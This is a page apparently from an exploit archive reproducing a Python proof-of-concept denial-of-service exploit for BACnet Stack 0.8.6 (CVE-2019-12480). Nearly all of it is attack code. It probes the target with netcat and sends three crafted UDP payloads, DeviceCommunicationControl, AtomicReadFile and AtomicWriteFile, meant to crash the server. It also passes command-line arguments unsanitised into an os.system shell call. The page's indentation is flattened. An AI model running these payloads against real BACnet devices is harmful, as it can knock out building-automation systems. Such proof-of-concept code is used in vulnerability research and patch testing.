ExploitFixes
BACnet Stack 0.8.6 - Denial of Service 2019-07-22 12:17:49

# Exploit Title: BACnet Stack 0.8.6 - Denial of Service
# Google Dork: [if applicable]
# Date: 2019-07-19
# Exploit Author: mmorillo
# Vendor Homepage: https://sourceforge.net/p/bacnet/
# Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/
# Version: bacnet-stack-0.8.6
# Tested on: Linux
# CVE: CVE-2019-12480

#!/usr/bin/env python
#
# After reported the bug to the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (exploit code to
# test), has been release a fix for 0.8.7 release of
# BACnet Protocol Stack https://sourceforge.net/p/bacnet/

import socket
import struct
import argparse
import os
import sys
from termcolor import colored

#------------------------------------------------------------------------------
# Command line parser using argparse
#------------------------------------------------------------------------------

def cmdline_parser():
parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1',
usage="python %(prog)s")

# Mandatory
parser.add_argument('Server', type=str, help='BACnet server IP')
parser.add_argument('Port', type=str, help='BACnet port')

return parser


def get_Host_name_IP():
try:
host_name = socket.gethostname()
host_ip = socket.gethostbyname(host_name)
return host_ip
except:
print("Unable to get Hostname and IP")


def target_alive(BACnetServer, BACnetPort):
response = os.system("nc -u -z -w 1 " + BACnetServer + " " + str(BACnetPort))

if response == 0:
return True
else:
return False

#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------

def main():

# Get the command line parser.
parser = cmdline_parser()

# Show help if no args
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

# Get results line parser.
results = parser.parse_args()

BACnetServer = results.Server
BACnetPort = int(results.Port)
SRC_IP = get_Host_name_IP()

if not target_alive(BACnetServer, BACnetPort):
print((colored("[+] BACnet server down", "yellow")))

else:
if target_alive(BACnetServer, BACnetPort):

payload_DeviceCommunicationControl = "\x81\x0a\x00\x16\x01\x04\x00\x05\x01\x11\x0d\xff\x80\x00\x03\x1a\x0a\x19\x00\x2a\x00\x41"

print((colored("[+] Sending BACnet DeviceCommunicationControl payload from " + SRC_IP, "green")))

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_DeviceCommunicationControl)))
s.send(payload_DeviceCommunicationControl)

print((colored("[+] Sent Payload: " + payload_DeviceCommunicationControl.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

if target_alive(BACnetServer, BACnetPort):

payload_AtomicReadFile = "\x81\x0a\x00\x1b\x01\x14\x00\x05\x01\x06\xc4\x02\x80\x00\x00\x0e\x35\xff\xdf\x62\xee\x00\x00\x22\x05\x84\x0f"

print((colored("[+] Sending BACnet AtomicReadFile payload from " + SRC_IP, "green")))

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_AtomicReadFile)))
s.send(payload_AtomicReadFile)

print((colored("[+] Sent Payload: " + payload_AtomicReadFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

if target_alive(BACnetServer, BACnetPort):

payload_AtomicWriteFile = "\x81\x0a\x00\x1b\x01\x04\x00\x05\x02\x07\xc4\x02\x80\x00\x00\x0e\x35\xff\x5e\xd5\xc0\x85\x0a\x62\x64\x0a\x0f"

print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green")))

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_AtomicWriteFile)))
s.send(payload_AtomicWriteFile)

print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

if not target_alive(BACnetServer, BACnetPort):
print((colored("[+] DoS completed", "red")))


#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------

if __name__ == '__main__':
main()